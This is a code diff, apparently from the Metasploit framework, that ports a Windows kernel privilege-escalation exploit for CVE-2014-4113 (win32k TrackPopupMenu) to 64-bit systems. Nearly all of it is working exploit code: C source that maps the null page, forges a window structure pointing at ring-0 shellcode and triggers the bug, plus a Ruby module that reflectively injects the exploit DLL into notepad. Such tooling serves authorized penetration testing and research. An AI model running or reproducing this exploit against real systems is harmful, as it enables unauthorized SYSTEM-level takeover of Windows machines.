diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll new file mode 100755 index 0000000000..cc1dc87d63 Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll differ diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll index a554809b82..7f5fc4240b 100755 Binary files a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll and b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll differ diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln index 314fd96ad2..62c99261f9 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln @@ -1,18 +1,26 @@  -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.30723.0 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 Release|Win32 = Release|Win32 + Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64 {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c index fd67c17bae..b9cafa1a06 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c @@ -16,9 +16,13 @@ typedef NTSTATUS *PNTSTATUS; #define DEBUGGING FALSE +#ifdef _M_X64 +typedef unsigned __int64 QWORD; +typedef QWORD *PQWORD; +#endif + int WndProcClue = 0; int HookCallbackClue = 0; -int HookCallbackThreeClue = 0; WNDPROC lpPrevWndFunc; DWORD MyProcessId = 0; DWORD OffsetWindows = 0; @@ -45,15 +49,15 @@ typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)( ); typedef struct _SYSTEM_MODULE { - ULONG Reserved1; - ULONG Reserved2; + HANDLE Reserved1; + PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; - WORD Id; - WORD Rank; - WORD w018; - WORD NameOffset; + USHORT Id; + USHORT Rank; + USHORT w018; + USHORT NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; @@ -66,48 +70,28 @@ typedef struct _SYSTEM_MODULE_INFORMATION { lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL; lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; -LRESULT __stdcall HookCallbackThree(int code, WPARAM wParam, LPARAM lParam) + +long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { - if (wParam == 4 && *(DWORD *)lParam == GetCurrentThreadId() && *(DWORD *)(lParam + 12) == 0x900516) - HookCallbackThreeClue = 1; - return CallNextHookEx(0, code, wParam, lParam); + EndMenu(); + return -5; } -LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) -{ - LRESULT result; - DWORD v5; - - if (Msg == 0x1EB) - { - v5 = GetCurrentThreadId(); - SetWindowsHookExA(9, HookCallbackThree, 0, v5); - SendMessageA(hWnd, 0, 0x900516u, 0); - UnhookWindowsHook(9, HookCallbackThree); - if (HookCallbackThreeClue) - { - EndMenu(); - result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam); - } - else - { - EndMenu(); - result = -5; - } - } - else - { - result = CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam); - } - return result; -} - -LRESULT __stdcall HookCallback(int code, WPARAM wParam, LPARAM lParam) { +LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { +#ifdef _M_X64 + if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue) +#else if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue) +#endif { HookCallbackClue = 1; - if (UnhookWindowsHook(4, HookCallback)) - lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)HookCallbackTwo); + if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { +#ifdef _M_X64 + lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo); +#else + lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo); +#endif + } } return CallNextHookEx(0, code, wParam, lParam); } @@ -122,13 +106,21 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hwnd, msg, wParam, lParam); } +#ifdef _M_X64 +QWORD MyPtiCurrent(void) { + void *teb = (void *)__readgsqword(0x30); + QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78)); + return Win32ThreadInfo; +} +#else DWORD __stdcall MyPtiCurrent() { __asm { mov eax, fs : 18h mov eax, [eax + 40h] } } +#endif int _stdcall shellcode_ring0(int one, int two, int three, int four) { void *my_process_info = NULL; @@ -151,6 +143,7 @@ LogMessage(char* pszFormat, ...) { va_list args; va_start(args, pszFormat); vsprintf(s_acBuf, pszFormat, args); + printf("%s\n", s_acBuf); OutputDebugString(s_acBuf); va_end(args); } @@ -184,6 +177,12 @@ void Win32kNullPage(LPVOID lpPayload) { return; } +#ifdef _M_X64 + if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 + LogMessage("[*] Windows 6.1 found..."); + OffsetWindows = 0x208; + } +#else if (VersionInformation.dwMajorVersion == 6) { if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 LogMessage("[*] Windows 6.1 found..."); @@ -212,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) { return; } } +#endif else { LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion); return; @@ -306,9 +306,13 @@ void Win32kNullPage(LPVOID lpPayload) { return; } +#ifdef _M_X64 + pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl)); + LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId); +#else pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl)); - LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId); +#endif MyProcessId = GetCurrentProcessId(); @@ -336,7 +340,11 @@ void Win32kNullPage(LPVOID lpPayload) { // Making everything ready for exploitation... LogMessage("[*] Allocating null page..."); +#ifdef _M_X64 + ULONGLONG base_address = 0x00000000fffffffb; +#else DWORD base_address = 1; +#endif SIZE_T region_size = 0x1000; ULONG zero_bits = 0; HANDLE current_process = NULL; @@ -350,7 +358,11 @@ void Win32kNullPage(LPVOID lpPayload) { LogMessage("[*] Getting PtiCurrent..."); +#ifdef _M_X64 + ULONGLONG pti = MyPtiCurrent(); +#else DWORD pti = MyPtiCurrent(); +#endif if (pti == 0) { LoadLibrary("user32.dll"); @@ -363,11 +375,28 @@ void Win32kNullPage(LPVOID lpPayload) { return; } else { +#ifdef _M_X64 + LogMessage("[*] Good! pti 0x%016llx", pti); +#else LogMessage("[*] Good! pti 0x%08x", pti); +#endif } - LogMessage("[*] Creating a fake structure at NULL..."); + +#ifdef _M_X64 + void *test = NULL; + (QWORD)test = 0x10000000B; + *((PQWORD)test) = pti; + + /* win32k!tagWND->bServerSideWindowProc = TRUE */ + (QWORD)test = 0x100000025; + *((PBYTE)test) = 4; + + /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */ + (QWORD)test = 0x10000008B; + *((PQWORD)test) = &shellcode_ring0; +#else void *test = promise_land + 3; /* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen) .text:BF8B93F4 02C mov edi, _gptiCurrent @@ -380,7 +409,7 @@ void Win32kNullPage(LPVOID lpPayload) { test = promise_land + 0x5b; *(LPDWORD)test = (DWORD)shellcode_ring0; - +#endif // Exploit! @@ -394,7 +423,7 @@ void Win32kNullPage(LPVOID lpPayload) { MENUITEMINFOA MenuOneInfo; memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA)); MenuOneInfo.cbSize = sizeof(MENUITEMINFOA); - MenuOneInfo.fMask = 64; + MenuOneInfo.fMask = MIIM_STRING; if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) { LogMessage("[!] First InsertMenuItemA failed"); @@ -412,7 +441,7 @@ void Win32kNullPage(LPVOID lpPayload) { MENUITEMINFOA MenuTwoInfo; memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA)); MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA); - MenuTwoInfo.fMask = 68; + MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU); MenuTwoInfo.dwTypeData = ""; MenuTwoInfo.cch = 1; MenuTwoInfo.hSubMenu = MenuOne; @@ -423,8 +452,7 @@ void Win32kNullPage(LPVOID lpPayload) { return; } - DWORD thread_id = GetCurrentThreadId(); - if (SetWindowsHookExA(4, HookCallback, NULL, thread_id) == NULL) { + if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) { LogMessage("[!] SetWindowsHookExA failed :-(\n"); DestroyMenu(MenuTwo); DestroyMenu(MenuOne); diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj index 36e6aba5fd..fe5f68951d 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj @@ -5,10 +5,18 @@ Debug Win32 + + Debug + x64 + Release Win32 + + Release + x64 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} @@ -22,6 +30,13 @@ MultiByte v120 + + DynamicLibrary + true + false + MultiByte + v120 + DynamicLibrary false @@ -29,22 +44,41 @@ MultiByte v120 + + DynamicLibrary + false + false + MultiByte + v120 + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + CompileAsC @@ -60,6 +94,21 @@ $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + CompileAsC + Level3 + Disabled + true + true + MultiThreaded + + + true + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + CompileAsC @@ -76,10 +125,26 @@ $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + CompileAsC + Level3 + Disabled + true + true + Default + MultiThreaded + + + false + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + - + \ No newline at end of file diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 135e6e6fc9..2b9ccf5894 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -24,15 +24,17 @@ class Metasploit3 < Msf::Exploit::Local can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows - 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows + 2008 R2 SP1 64 bits. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild - 'juan vazquez' # msf module + 'juan vazquez', # msf module (x86 target) + 'Spencer McIntyre' # msf module (x64 target) ], - 'Arch' => ARCH_X86, + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => @@ -46,14 +48,18 @@ class Metasploit3 < Msf::Exploit::Local # * Windows 2003 SP2 # * Windows 7 SP1 # * Windows 2008 - [ 'Windows 32 bits', { } ] + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 2008 R2 SP1 + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], - 'Payload' => + 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, - 'References' => + 'References' => [ ['CVE', '2014-4113'], ['OSVDB', '113167'], @@ -73,11 +79,27 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Unknown end + if sysinfo["Architecture"] =~ /(wow|x)64/i + arch = ARCH_X86_64 + elsif sysinfo["Architecture"] =~ /x86/i + arch = ARCH_X86 + end + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") - Exploit::CheckCode::Detected + # Neither target suports Windows 8 or 8.1 + return Exploit::CheckCode::Safe if build == 9200 + return Exploit::CheckCode::Safe if build == 9600 + + if arch == ARCH_X86 + return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) + else + return Exploit::CheckCode::Detected if build == 7601 + end + + return Exploit::CheckCode::Unknown end def exploit @@ -85,10 +107,16 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::None, 'Session is already elevated') end + if check == Exploit::CheckCode::Safe + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end + if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') + elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') @@ -104,7 +132,13 @@ class Metasploit3 < Msf::Exploit::Local end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', 'cve-2014-4113.x86.dll') + if target.arch.first == ARCH_X86 + dll_file_name = 'cve-2014-4113.x86.dll' + else + dll_file_name = 'cve-2014-4113.x64.dll' + end + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...")